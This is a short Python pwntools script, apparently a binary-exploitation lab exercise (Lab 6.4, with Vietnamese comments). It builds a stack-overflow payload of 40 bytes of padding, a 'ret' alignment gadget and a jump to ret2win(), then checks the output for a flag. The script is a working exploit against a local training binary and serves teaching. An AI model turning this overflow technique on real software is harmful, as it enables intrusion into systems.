#!/usr/bin/env python3
# Lab 6.4 ret2win: tran 40 byte, them 'ret' can alignment, roi nhay vao ret2win().
from pwn import *

context.binary = elf = ELF('./ret2win')
context.log_level = 'info'
io = process('./ret2win')

offset = 40                      # tu xac minh bang cyclic
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]
log.info('ret gadget   = %#x', ret)
log.info('ret2win()    = %#x', elf.sym['ret2win'])

payload = flat(b'A' * offset, ret, elf.sym['ret2win'])
io.sendafter(b'>', payload)
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'FLAG{' in out, 'FAIL: khong doc duoc flag'
log.success('ret2win OK: da in flag')